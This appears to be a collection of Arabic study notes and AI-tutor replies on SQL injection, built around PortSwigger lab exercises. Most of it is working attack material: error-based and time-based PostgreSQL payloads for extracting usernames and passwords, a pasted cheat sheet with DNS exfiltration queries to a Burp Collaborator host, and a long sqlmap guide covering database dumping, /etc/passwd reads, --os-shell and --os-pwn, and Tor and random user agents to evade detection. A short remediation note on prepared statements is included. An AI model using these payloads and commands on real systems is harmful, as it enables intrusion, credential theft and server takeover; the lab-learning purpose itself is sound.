دعنا نحلل الخطأ الذي حدث ولماذا ظهر، ثم نصلحه:
1. تحليل ما حدث في الـ Backend
بناءً على رسالة الخطأ، الكود في الخادم قام بدمج مدخلاتك بهذا الشكل:
SQL
SELECT * FROM tracking WHERE id = '83MPPGdX20YXPoNS'CAST((SELECT username FROM users) AS int) -'
2. أين تكمن المشكلة في هذا الـ Payload؟
هناك ثلاثة أخطاء صغيرة منعت قاعدة البيانات من تنفيذ الـ CAST وإظهار البيانات:
-
المشكلة الأولى (غياب الرابط المنطقي): لقد قمت بإغلاق علامة التنصيص بنجاح
'، ولكنك وضعت دالةCASTفوراً بعدها بدون أي رابط (Operator). في لغة SQL، لا يمكنك كتابة شرطين بجانب بعضهما هكذا. يجب أن تستخدم رابطاً مثلANDأوOR. -
المشكلة الثانية (علامة التعليق الخاطئة): في نهاية الـ Payload، استخدمت شرطة واحدة
-. في الـ SQL، التعليق (Comment) الذي يتجاهل باقي السطر يُكتب بشرطتين متتاليتين ومسافة--(أو علامة#). وبسبب أن التعليق لم يعمل، بقيت علامة التنصيص الأخيرة'(التي يضيفها الكود الأصلي) موجودة في النهاية بدون علامة أخرى تفتحها، مما أدى لظهور خطأ "Unterminated string literal". -
المشكلة الثالثة (تعدد الصفوف - Subquery Rows): الاستعلام
(SELECT username FROM users)سيقوم بجلب كل أسماء المستخدمين من الجدول دفعة واحدة. دالةCAST()لا يمكنها تحويل جدول كامل إلى رقم، بل تحول قيمة واحدة فقط. سيؤدي هذا إلى خطأ آخر (Subquery returns more than 1 row) حتى لو كان الـ Syntax سليماً. يجب تحديد صف واحد باستخدامLIMIT 1(أوROWNUM = 1حسب نوع قاعدة البيانات).
3. الحل والـ Payload الصحيح
لكي نجبر قاعدة البيانات على تنفيذ الـ CAST وإظهار اسم المستخدم في رسالة الخطأ، يجب أن يكون إدخالك (Payload) بهذا الشكل:
SQL
83MPPGdX20YXPoNS' AND CAST((SELECT username FROM users LIMIT 1) AS int)--
(ملاحظة: تأكد من وجود مسافة بعد الشرطتين -- في النهاية، وفي بعض الأحيان في المتصفح يتم استبدال المسافة بـ + أو %20).
كيف سيبدو الكود النهائي في الـ Backend بعد هذا التعديل؟
SQL
SELECT * FROM tracking WHERE id = '83MPPGdX20YXPoNS' AND CAST((SELECT username FROM users LIMIT 1) AS int)-- '
ماذا سيحدث الآن؟
-
سيقرأ الخادم الـ
idالأول بشكل سليم. -
سيجد الرابط
ANDوينتقل لتنفيذ الـCAST. -
سيجلب اسم أول مستخدم (مثلاً
admin). -
سيحاول تحويل كلمة
adminإلىint. -
سيفشل التحويل، ويظهر لك الخطأ المطلوب:
ERROR: invalid input syntax for type integer: "admin"
وبذلك تكون قد نجحت في استخراج أول اسم مستخدم!
مل هنا المساحة الهقدر اكتب فيها صغيرة
هذه الملاحظة ممتازة جداً! وهذا بالضبط التطبيق العملي للسطر الأخير في الشرح النظري الذي قرأناه: "هذا النوع مفيد إذا كان هناك قيود على عدد الحروف (Character Limit)".
بما أن المساحة (أو عدد الحروف المسموح بها) صغيرة، يجب علينا كتابة أقصر Payload ممكن (Payload Golfing). لتوفير المساحة، سنقوم ببعض الحيل:
1. تخلص من الـ ID الأصلي
أنت لست مجبراً على إبقاء الـ ID الأصلي (83MPPGdX20YXPoNS) الذي يستهلك 16 حرفاً من المساحة المتاحة. يمكنك مسحه تماماً والبدء بحقن الكود الخاص بك مباشرة باستخدام أي حرف أو رقم وهمي، أو حتى تركه فارغاً.
2. احذف المسافات غير الضرورية
قاعدة البيانات تستطيع قراءة الأقواس بدون مسافات قبلها أو بعدها. يمكننا دمج الكلمات لتقليل حجم الـ Payload.
أقصر Payloads يمكنك تجربتها:
الخيار الأول (بسيط ومختصر): قم بمسح الـ ID القديم بالكامل، وضع هذا الكود فقط:
SQL
1' AND CAST((SELECT username FROM users LIMIT 1)AS int)--
(لاحظ أننا حذفنا المسافة قبل AS int لتوفير مساحة).
الخيار الثاني (استخدام علامة التساوي لتقصير الـ Operator): بدلاً من استخدام AND، يمكننا استخدام = وهي تستهلك حروفاً أقل:
SQL
1'=CAST((SELECT username FROM users LIMIT 1)AS int)--
الخيار الثالث (إذا كانت قاعدة البيانات PostgreSQL أو Oracle): يمكننا استخدام علامة الدمج || لتوفير مساحة أكبر:
SQL
'||CAST((SELECT username FROM users LIMIT 1)AS int)--
نصيحة سريعة أثناء التطبيق:
إذا كنت تحل هذا اللاب (Lab) داخل منصة مثل PortSwigger، وتواجه مشكلة أن حقل الإدخال في المتصفح (Input Box) يمنعك من كتابة حروف إضافية، يمكنك تجاوز هذا القيد بسهولة من خلال اعتراض الطلب باستخدام أداة Burp Suite (في تبويب Repeater)، وهناك يمكنك كتابة Payload بأي طول تريده دون التقيد بحدود حقل المتصفح، لكن استخدام الأكواد المختصرة في الأعلى سيفي بالغرض في كل الأحوال.
ERROR: argument of AND must be type boolean, not type integer
Position: 42
رائع جداً! ظهور هذا الخطأ تحديداً يعتبر تقدماً ممتازاً، لأنه يكشف لنا سراً مهماً: قاعدة البيانات التي نتعامل معها هي PostgreSQL! وهي معروفة بأنها صارمة جداً (Strict) في التعامل مع أنواع البيانات.
لماذا ظهر هذا الخطأ؟
الخطأ يقول بوضوح: argument of AND must be type boolean, not type integer. في قواعد بيانات PostgreSQL، الرابط AND يتطلب أن يكون على يمينه ويساره شروط منطقية نتيجتها إما "صح" أو "خطأ" (Boolean). في الـ Payload الذي استخدمته، أنت وضعت دالة CAST(... AS int) بعد الـ AND مباشرة. وبما أن نتيجة هذه الدالة هي رقم (Integer)، قاعدة البيانات اعترضت وقالت: "لا يمكنني استخدام رقم كشرط مع AND، يجب أن يكون الشرط Boolean".
بسبب هذا الاعتراض، توقفت قاعدة البيانات عن العمل قبل أن تحاول تنفيذ الـ CAST واستخراج اسم المستخدم.
كيف نصلح ذلك؟
الحل بسيط جداً! كل ما علينا فعله هو تحويل دالة الـ CAST إلى "شرط منطقي" (Boolean). كيف نفعل ذلك؟ بمجرد مقارنتها بأي رقم (مثل 1) باستخدام علامة يساوي =.
بهذا الشكل، نحن نقول لقاعدة البيانات: "هل 1 يساوي الرقم الناتج من CAST؟"، وهذا يعتبر شرطاً سليماً (Boolean).
الـ Payloads الصحيحة (جربها الآن):
الخيار الأول (باستخدام AND ومقارنتها برقم):
SQL
1' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--
الخيار الثاني (الأفضل والأقصر لتوفير المساحة): يمكننا الاستغناء عن AND تماماً، واستخدام علامة = مباشرة ليصبح إدخالك بالكامل عبارة عن شرط:
SQL
1'=CAST((SELECT username FROM users LIMIT 1) AS int)--
ماذا سيحدث هذه المرة؟ قاعدة البيانات سترى الشرط سليم وتوافق على تشغيله، ثم ستذهب لجلب اسم المستخدم (مثلاً admin) لتحوله إلى رقم لتقارنه، وهنا ستفشل ويظهر لك الخطأ الذهبي الذي ننتظره: ERROR: invalid input syntax for integer: "admin"
Exploiting blind SQL injection by triggering time delays:
دخلنا الآن في مرحلة "الظلام التام"! التقنية الجديدة التي أرسلتها هي Time-based Blind SQL Injection (الحقن الأعمى القائم على الوقت).
في المرة السابقة، كان الموقع "كريمًا" معنا ويظهر رسائل خطأ تفصيلية استفدنا منها. أما الآن، افترض أن مطور الموقع قام بإصلاح هذا الأمر، وأصبح الموقع يبتلع الأخطاء (Handles errors gracefully). بمعنى أنه لو حدث خطأ في قاعدة البيانات، سيعود لك الموقع بصفحة طبيعية جداً وكأن شيئاً لم يكن.
هنا، نحن لا نرى بيانات، ولا نرى رسائل خطأ... فكيف سنجعل قاعدة البيانات تتحدث معنا؟ عن طريق "الوقت"!
1. الفكرة العبقرية خلف الوقت (The Core Concept)
تطبيقات الويب غالباً ما تعالج الطلبات بشكل متزامن (Synchronous). يعني ذلك أن المتصفح يرسل الطلب، وينتظر الخادم (Server)، والخادم ينتظر قاعدة البيانات لتنتهي من عملها، ثم يعود الرد للمتصفح.
إذا استطعنا إجبار قاعدة البيانات على أن "تنام" أو "تنتظر" لعدة ثوانٍ قبل أن ترد، فإن الرد سيتأخر عن المتصفح. هذا التأخير هو "الإشارة" (Oracle) التي نعرف من خلالها إذا كان شرطنا صحيخاً أم خاطئاً.
2. تحليل أمثلة الـ SQL Server
النص يقدم مثالاً باستخدام قاعدة بيانات Microsoft SQL Server والأمر WAITFOR DELAY '0:0:10' (والذي يعني: انتظر 10 ثوانٍ).
-
السيناريو الأول (الشرط خاطئ):
'; IF (1=2) WAITFOR DELAY '0:0:10'--هنا الخادم يسأل: هل 1 تساوي 2؟ الإجابة: لا (False). إذن لن ينفذ أمر الانتظار، وسيعود الموقع فوراً (في أجزاء من الثانية). -
السيناريو الثاني (الشرط صحيح):
'; IF (1=1) WAITFOR DELAY '0:0:10'--هنا الخادم يسأل: هل 1 تساوي 1؟ الإجابة: نعم (True). إذن سينفذ أمر الانتظار وتتجمد قاعدة البيانات لمدة 10 ثوانٍ. ستلاحظ أن المتصفح يأخذ وقتاً طويلاً ليحمل الصفحة.النتيجة: التأخير الزمني هنا أخبرنا بمعلومة سرية: "الشرط الذي وضعناه تحقق بنجاح!".
3. كيف نسرق البيانات حرفاً بحرف؟ (Data Extraction)
بما أننا نستطيع معرفة "صح" أو "خطأ" عبر الوقت، يمكننا الآن تخمين كلمة المرور (Password) الخاصة بالـ Administrator حرفاً بحرف باستخدام دالة SUBSTRING.
تعال نفكك هذا الـ Payload المعقد الذي أرسلته:
SQL
'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:10'--
ماذا يحدث في كواليس قاعدة البيانات؟
-
SUBSTRING(Password, 1, 1): هذا الأمر يعني "قص لي أول حرف فقط من كلمة المرور". -
> 'm': هل هذا الحرف الأول ترتيبه الأبجدي أكبر من حرفm؟ -
الاحتمال الأول (إذا تأخر الموقع 10 ثوانٍ): هذا يعني أن الشرط صحيح، وأن الحرف الأول فعلاً أكبر من
m(قد يكون n, o, p... إلخ). -
الاحتمال الثاني (إذا فتح الموقع فوراً): هذا يعني أن الشرط خاطئ، وأن الحرف الأول أصغر من أو يساوي
m(قد يكون a, b, c... إلخ).
بناءً على الوقت، نقوم بتضييق النطاق وتجربة الحروف حتى نعرف الحرف الأول تماماً (مثلاً نكتشف أنه s). ثم ننتقل للحرف الثاني وتعديل الكود إلى SUBSTRING(Password, 2, 1) وهكذا حتى نستخرج كلمة المرور كاملة!
ملاحظة ذكية لك (تطبيقاً على ما تعلمناه):
النص يتحدث عن صيغة لـ MS SQL Server (WAITFOR DELAY). لكن بما أننا عرفنا في المحادثة السابقة أن موقعك يعمل على PostgreSQL، فإن الصيغة ستختلف قليلاً. في PostgreSQL لا نستخدم IF و WAITFOR بهذا الشكل، بل نستخدم دالة اسمها pg_sleep().
هل تحب أن نرى كيف نكتب هذا الـ Payload بصيغة تتوافق مع الـ PostgreSQL التي تتدرب عليها؟ في قواعد بيانات PostgreSQL، تختلف طريقة كتابة الاستعلامات الزمنية (Time-based) جوهرياً عن SQL Server.
السبب في ذلك هو أن PostgreSQL لا تدعم استخدام جملة IF الشرطية بشكل مباشر داخل استعلامات SELECT العادية (جمل IF مخصصة فقط للوظائف البرمجية أو ما يُعرف بـ PL/pgSQL).
بدلاً من ذلك، نستخدم حيلة ذكية تعتمد على دالة pg_sleep(seconds) مدمجة داخل شرط WHERE أو باستخدام جملة CASE WHEN.
طريقة بناء الاستعلام في PostgreSQL
الفكرة البديلة لـ IF هي أن نجعل دالة pg_sleep تنام فقط إذا تحقق الشرط داخل جملة WHERE.
هكذا تبدو البنية النظرية العامة للاستعلام:
SQL
' AND 1=(SELECT 1 FROM pg_sleep(10) WHERE (الشرط_الذي_نريد_اختباره))--
كيف تعمل هذه الحيلة؟ قاعدة البيانات عندما تقرأ SELECT FROM pg_sleep(10) WHERE ... ستقوم أولاً بتقييم الشرط الموجود في الـ WHERE:
-
إذا كان الشرط صحيحاً (True): ستقوم بتنفيذ الدالة وتفعيل
pg_sleep(10)، فيتأخر الرد 10 ثوانٍ. -
إذا كان الشرط خاطئاً (False): سيتجاهل الخادم الاستعلام بالكامل ولن يتم استدعاء
pg_sleepأبداً، ويعود الرد فوراً.
تعديل الـ Query الخاصة بك لتناسب PostgreSQL
لتطبيق هذا المفهوم على نفس الاستعلام الخاص باستخراج كلمة المرور حرفاً بحرف، سنقوم بصياغته بهذا الشكل:
SQL
1' AND 1=(SELECT 1 FROM pg_sleep(5) WHERE (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a')--
(ملحوظة: قمت بتقليل وقت النوم إلى 5 ثوانٍ بدلاً من 10 لتوفير وقتك أثناء التجربة والحل).
تحليل ما يحدث خلف الكواليس:
-
الخادم يفحص الشرط: "هل أول حرف من كلمة مرور الـ administrator هو حرف
a؟" -
إذا كان الحرف فعلاً
a، سيتم تفعيلpg_sleep(5)ويتأخر الموقع 5 ثوانٍ. -
إذا لم يكن
a، سيفتح الموقع فوراً، فتعرف أن تخمينك خاطئ وتجرب حرفاً آخر (bثمcوهكذا).
الوقاية والدفاع (Remediation)
بما أنك تدرس هذه الثغرة بكافة تفاصيلها، فمن المهم جداً معرفة كيف يقوم المطورون بحماية تطبيقاتهم منها بشكل نهائي.
الحل الجذري لمنع جميع أنواع الـ SQL Injection (سواء كانت مرئية، تعتمد على الأخطاء، أو زمنية) هو استخدام الاستعلامات المُعلمات (Parameterized Queries / Prepared Statements).
عند استخدام الـ Prepared Statements، يتم فصل كود الـ SQL تماماً عن البيانات المدخلة من المستخدم. على سبيل المثال في بيئات البرمجة الحديثة، يتم كتابة الكود هكذا:
Plaintext
// البيانات تدخل كمتغيرات معزولة تماماً ولا يتم دمجها كنصوص
SELECT * FROM tracking WHERE id = ?
في هذه الحالة، حتى لو قام المستخدم بإدخال ' AND 1=(SELECT 1 FROM pg_sleep(5))--، فإن قاعدة البيانات ستتعامل مع هذا الإدخال الطويل كـ "نص مجرد" يبحث عن ID يشبه هذا النص، ولن تقوم بتنفيذ دالة pg_sleep أو تفسيرها كأمر برمي إطلاقاً.
SQL injection cheat sheet
This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL injection attacks. String concatenation
You can concatenate together multiple strings to make a single string. Oracle 'foo'||'bar' Microsoft 'foo'+'bar' PostgreSQL 'foo'||'bar' MySQL 'foo' 'bar' [Note the space between the two strings] CONCAT('foo','bar') Substring
You can extract part of a string, from a specified offset with a specified length. Note that the offset index is 1-based. Each of the following expressions will return the string ba. Oracle SUBSTR('foobar', 4, 2) Microsoft SUBSTRING('foobar', 4, 2) PostgreSQL SUBSTRING('foobar', 4, 2) MySQL SUBSTRING('foobar', 4, 2) Comments
You can use comments to truncate a query and remove the portion of the original query that follows your input. Oracle --comment Microsoft --comment /comment/ PostgreSQL --comment /comment/ MySQL #comment -- comment [Note the space after the double dash] /comment/ Database version
You can query the database to determine its type and version. This information is useful when formulating more complicated attacks. Oracle SELECT banner FROM v$version SELECT version FROM v$instance Microsoft SELECT @@version PostgreSQL SELECT version() MySQL SELECT @@version Database contents
You can list the tables that exist in the database, and the columns that those tables contain. Oracle SELECT * FROM all_tables SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE' Microsoft SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' PostgreSQL SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' MySQL SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' Conditional errors
You can test a single boolean condition and trigger a database error if the condition is true. Oracle SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual Microsoft SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END PostgreSQL 1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END) MySQL SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a') Extracting data via visible error messages
You can potentially elicit error messages that leak sensitive data returned by your malicious query. Microsoft SELECT 'foo' WHERE 1 = (SELECT 'secret')
Conversion failed when converting the varchar value 'secret' to data type int. PostgreSQL SELECT CAST((SELECT password FROM users LIMIT 1) AS int) invalid input syntax for integer: "secret" MySQL SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret'))) XPATH syntax error: '\secret' Batched (or stacked) queries
You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay. Oracle Does not support batched queries. Microsoft QUERY-1-HERE; QUERY-2-HERE QUERY-1-HERE QUERY-2-HERE PostgreSQL QUERY-1-HERE; QUERY-2-HERE MySQL QUERY-1-HERE; QUERY-2-HERE Note
With MySQL, batched queries typically cannot be used for SQL injection. However, this is occasionally possible if the target application uses certain PHP or Python APIs to communicate with a MySQL database. Time delays
You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds. Oracle dbms_pipe.receive_message(('a'),10) Microsoft WAITFOR DELAY '0:0:10' PostgreSQL SELECT pg_sleep(10) MySQL SELECT SLEEP(10) Conditional time delays
You can test a single boolean condition and trigger a time delay if the condition is true. Oracle SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual Microsoft IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10' PostgreSQL SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END MySQL SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a') DNS lookup
You can cause the database to perform a DNS lookup to an external domain. To do this, you will need to use Burp Collaborator to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to confirm that a DNS lookup occurred. Oracle
(XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence: SELECT EXTRACTVALUE(xmltype('<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
The following technique works on fully patched Oracle installations, but requires elevated privileges: SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN') Microsoft exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a' PostgreSQL copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN' MySQL
The following techniques work on Windows only: LOAD_FILE('\\BURP-COLLABORATOR-SUBDOMAIN\a') SELECT ... INTO OUTFILE '\\BURP-COLLABORATOR-SUBDOMAIN\a' DNS lookup with data exfiltration
You can cause the database to perform a DNS lookup to an external domain containing the results of an injected query. To do this, you will need to use Burp Collaborator to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to retrieve details of any DNS interactions, including the exfiltrated data. Oracle SELECT EXTRACTVALUE(xmltype('<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual Microsoft declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"') PostgreSQL create OR replace function f() returns void as $$ declare c text; declare p text; begin SELECT into p (SELECT YOUR-QUERY-HERE); c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN'''; execute c; END; $$ language plpgsql security definer; SELECT f(); MySQL The following technique works on Windows only: SELECT YOUR-QUERY-HERE INTO OUTFILE '\\BURP-COLLABORATOR-SUBDOMAIN\a'
علشان تعرف ايه ال schemas الموجوده في ال database
SELECT schema_name
FROM information_schema.schemata;
علشان تعرف ايه ال tables الموجودة في ال schema
SELECT table_name
FROM information_schema.tables
WHERE table_schema='database_name';
ده علشان تعرف ال columns الموجودة في ال table
SELECT column_name
FROM information_schema.columns
WHERE table_name='users';
SELECT Column_name FROM TABLE_name WHERE USER_NAME=''
جدول DUAL في Oracle
جدول DUAL هو جدول خاص في Oracle يحتوي على صف واحد وعمود واحد فقط. يُستخدم هذا الجدول عندما نحتاج إلى تنفيذ استعلامات SQL دون الحاجة إلى جداول فعلية، كاختبار الدوال، إجراء العمليات الحسابية، أو إرجاع قيمة معينة.
خصائص جدول DUAL:
- يحتوي على صف واحد فقط.
- العمود الوحيد يُسمى
DUMMYوقيمته هي'X'. - يُستخدم عندما لا تتطلب الاستعلامات بيانات من جداول فعلية ولكن تتطلب بنية SQL.
أمثلة لاستخدام جدول DUAL:
1. إجراء عملية حسابية بسيطة:
SELECT 1+1 FROM DUAL;
الناتج:
1+1
2
لماذا يتم استخدام جدول DUAL؟
- تحتاج إلى وجود جدول في جملة
FROMعند تنفيذ استعلامSELECTفي Oracle SQL. يوفر جدول DUAL جدولاً بسيطاً ومسبق الإعداد لهذه العمليات عندما لا يكون الاستعلام من الجداول الفعلية ضرورياً. SQL injection attack, listing the database contents on Oracle
علشان تعرف عدد الأعمدة (columns) قبل ما تستخدم UNION SELECT، فيه طريقتين مشهورين في اختبار SQL Injection. 👨💻
1️⃣ الطريقة الأسهل – ORDER BY
بتزود الرقم لحد ما يحصل error.
مثال:
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
' ORDER BY 4-- -
لما توصل لرقم يطلع error يبقى عدد الأعمدة هو الرقم اللي قبله.
ما هي sqlmap أصلاً؟
sqlmap هي أداة Automated SQL Injection Tool.
يعني بدل ما تكتب payloads يدوي مثل:
' OR 1=1 --
الأداة تقوم تلقائيًا بـ:
-
اكتشاف الثغرة
-
تحديد نوع الـ DBMS
-
استخراج الداتا
-
استخراج كلمات المرور
-
أحيانًا تنفيذ أوامر على السيرفر
يعني باختصار:
Automation لعملية SQL Injection بالكامل.
2️⃣ أمر المساعدة
sqlmap -h
هذا يعرض Basic Help.
لو عاوز كل الخيارات:
sqlmap -hh
سيظهر Advanced Help.
3️⃣ أهم أقسام الخيارات في sqlmap
الـ help مقسم لعدة أقسام:
1️⃣ Target
2️⃣ Request
3️⃣ Injection
4️⃣ Detection
5️⃣ Techniques
6️⃣ Enumeration
7️⃣ OS Access
سنشرح كل قسم.
4️⃣ Target (تحديد الهدف)
هنا تحدد الموقع الذي تريد اختباره.
الأمر الأساسي
sqlmap -u http://site.com/page.php?id=1
🔹 -u
يعني:
URL
مثال:
http://site.com/product.php?id=5
sqlmap سيجرب حقن SQL داخل:
id
Google Dork
-g "inurl:php?id="
هنا sqlmap يبحث في جوجل عن مواقع قد تحتوي ثغرة.
لكن هذا نادر الاستخدام الآن بسبب حماية Google.
5️⃣ Request (كيفية إرسال الطلب)
هذا القسم مهم عندما الموقع يحتاج:
-
cookies
-
login
-
POST data
-
proxy
إرسال POST Data
--data="id=1"
يعني الطلب سيكون:
POST /page.php
id=1
إرسال Cookie
--cookie="PHPSESSID=abc123"
مفيد عندما يكون الموقع يتطلب login session.
تغيير User Agent
--random-agent
sqlmap سيستخدم:
User Agent عشوائي.
هذا يساعد في:
-
bypass WAF
-
عدم كشف الأداة بسهولة
استخدام Proxy
--proxy=http://127.0.0.1:8080
مفيد مع:
-
Burp Suite
-
debugging
استخدام Tor
--tor
يرسل الطلبات عبر:
Tor
لإخفاء IP.
6️⃣ Injection Options
هذه تحدد أين يحدث الحقن.
تحديد Parameter
-p id
يعني:
اختبر parameter اسمه:
id
مثال:
site.com/page.php?id=1&cat=2
لو كتبت:
-p id
سيختبر فقط id.
تحديد نوع قاعدة البيانات
--dbms=mysql
هذا يجعل sqlmap لا يجرب كل DBMS.
مما يزيد السرعة.
7️⃣ Detection Options
هذه تتحكم في قوة الاختبار.
Level
--level=1 → 5
كلما زاد الرقم:
sqlmap يجرب parameters أكثر.
مثال:
| Level | ماذا يفعل |
|---|---|
| 1 | parameters عادية |
| 2 | cookies |
| 3 | user-agent |
| 4 | headers |
| 5 | كل شيء |
Risk
--risk=1 → 3
كلما زاد:
payloads تصبح أخطر.
| Risk | ماذا يحدث |
|---|---|
| 1 | payloads آمنة |
| 2 | payloads أقوى |
| 3 | payloads قد تسبب مشاكل في السيرفر |
8️⃣ Techniques
--technique=BEUSTQ
هذا يحدد نوع SQL Injection الذي سيجربه.
المعاني:
| حرف | النوع |
|---|---|
| B | Boolean-based |
| E | Error-based |
| U | Union-based |
| S | Stacked queries |
| T | Time-based |
| Q | Inline queries |
مثلاً:
--technique=U
يجرب فقط:
UNION injection
9️⃣ Enumeration (استخراج البيانات)
هذا أهم جزء.
معرفة نزع ال DBMS :
sqlmap -u http://site.com/page.php?id=1 --fingerprint
النتيجة :
[info] the back-end DBMS is MYSQL (version: 5.)
استخراج قواعد البيانات
--dbs
مثال:
sqlmap -u http://site.com/page.php?id=1 --dbs
النتيجة:
databases:
information_schema
mysql
users
shop
🔟 استخراج الجداول
--tables
لكن يجب تحديد database.
مثال:
-D shop --tables
11️⃣ استخراج الأعمدة
--columns
مثال:
-D shop -T users --columns
12️⃣ استخراج البيانات
--dump
مثال:
-D shop -T users --dump
سيظهر:
username
password
email
13️⃣ استخراج كل شيء
--dump-all
هذا:
-
كل databases
-
كل tables
-
كل data
⚠️ قد يستغرق وقت طويل.
14️⃣ استخراج كلمات المرور
--passwords
يعرض:
mysql users password hashes
15️⃣ معرفة المستخدم الحالي
--current-user
مثال:
root@localhost
16️⃣ معرفة database الحالية
--current-db
17️⃣ الوصول لنظام التشغيل
إذا كانت الثغرة قوية.
فتح shell
--os-shell
سيعطيك terminal.
تنفيذ أمر
--os-cmd="whoami"
استغلال كامل
--os-pwn
قد يعطي:
-
meterpreter
-
reverse shell
18️⃣ الفرق بين GET و POST
GET Example
site.com/page.php?id=1
تشغل:
sqlmap -u site.com/page.php?id=1 --dbs
POST Example
البيانات تكون في body.
مثال:
blood_group=B+
يجب حفظ الطلب في ملف.
مثلاً:
req.txt
19️⃣ استخدام request file
الأمر:
sqlmap -r req.txt -p blood_group --dbs
المعنى:
| الخيار | المعنى |
|---|---|
| -r | اقرأ الطلب من الملف |
| -p | parameter vulnerable |
| --dbs | استخراج قواعد البيانات |
20️⃣ استخراج الجداول
sqlmap -r req.txt -p blood_group -D blood --tables
21️⃣ استخراج الأعمدة
sqlmap -r req.txt -D blood -T blood_db --columns
22️⃣ استخراج البيانات
sqlmap -r req.txt -D blood -T users --dump
23️⃣ مثال Workflow كامل
Pentester عادة يعمل:
1️⃣ اختبار الثغرة
sqlmap -u site.com/page.php?id=1
2️⃣ استخراج DBs
sqlmap -u site.com/page.php?id=1 --dbs
3️⃣ استخراج tables
sqlmap -u site.com/page.php?id=1 -D shop --tables
4️⃣ استخراج columns
sqlmap -u site.com/page.php?id=1 -D shop -T users --columns
5️⃣ استخراج data
sqlmap -u site.com/page.php?id=1 -D shop -T users --dump
⚡ نصائح Pentester حقيقية
غالباً نستخدم:
sqlmap -u URL --batch --random-agent --level=3 --risk=2
لأن:
-
--batchيمنع الأسئلة -
--random-agentbypass detection -
level=3اختبار أعمق
🔥 أهم Command يستخدمه المحترفين
sqlmap -u URL --dbs --batch --random-agent --level=5 --risk=3
نصيحة احترافية
لو أردت أن تحاول OS shell بطريقة أخرى:
جرب:
sqlmap -r req.txt --os-shell --technique=U
أو:
sqlmap -r req.txt --file-read=/etc/passwd
لأن أحيانًا قراءة الملفات تنجح حتى لو الكتابة فشلت.
to enter data in test :
sqlmap -u "http://site.com/login.php " --data="username=mostafa& password=123"
🛡️ SQLmap Master Cheat Sheet
1. الأوامر الأساسية وتحديد الهدف (Targeting & Basics)
| الأمر / الخيار | الوصف | مثال للاستخدام |
|---|---|---|
-u أو --url |
تحديد رابط الهدف (URL) للفحص. | sqlmap -u "http://target.com/page.php?id=1" |
--data |
تحديد البيانات المرسلة في طلبات POST. | sqlmap -u "http://target.com/login.php" --data="user=a&pass=1" |
-p |
تحديد مُعامل (Parameter) معين للتركيز عليه في الحقن وتجاهل الباقي. | sqlmap -u "http://target.com/page.php?id=1" -p id |
--cookie |
تمرير ملفات تعريف الارتباط (Cookies) لاختبار الصفحات التي تتطلب تسجيل دخول. | sqlmap -u "URL" --cookie="PHPSESSID=xyz" |
-r |
استخدام ملف نصي يحتوي على طلب HTTP كامل تم اعتراضه (عبر Burp Suite مثلاً). | sqlmap -r request.txt -p id |
2. الفحص والتحكم في التقنيات (Detection & Techniques)
| الأمر / الخيار | الوصف | مثال للاستخدام |
|---|---|---|
--fingerprint |
تحديد نوع وإصدار نظام إدارة قواعد البيانات (DBMS) بدقة. | sqlmap -u "URL" --fingerprint |
--technique |
تحديد تقنية الحقن المراد استخدامها (B, E, U, S, T, Q). | sqlmap -u "URL" --technique=B |
--level |
تحديد عمق الفحص (من 1 إلى 5). المستوى 1 للـ GET/POST. المستوى 2 يشمل الـ HTTP headers مثل الـ Cookie. المستوى 3 يشمل الـ Custom headers. | sqlmap -u "URL" --level=3 |
--risk |
تحديد مدى خطورة الـ Payloads على السيرفر (من 1 إلى 3). 1 آمن ، 2 متوسط ، 3 عالي الخطورة مثل الـ Stacked queries. | sqlmap -u "URL" --risk=2 |
3. استخراج البيانات (Enumeration & Data Extraction)
| الأمر / الخيار | الوصف | مثال للاستخدام |
|---|---|---|
-b أو --banner |
جلب بيانات وإصدار قاعدة البيانات (Banner) كإثبات للاختراق. | sqlmap -u "URL" -b |
--is-dba |
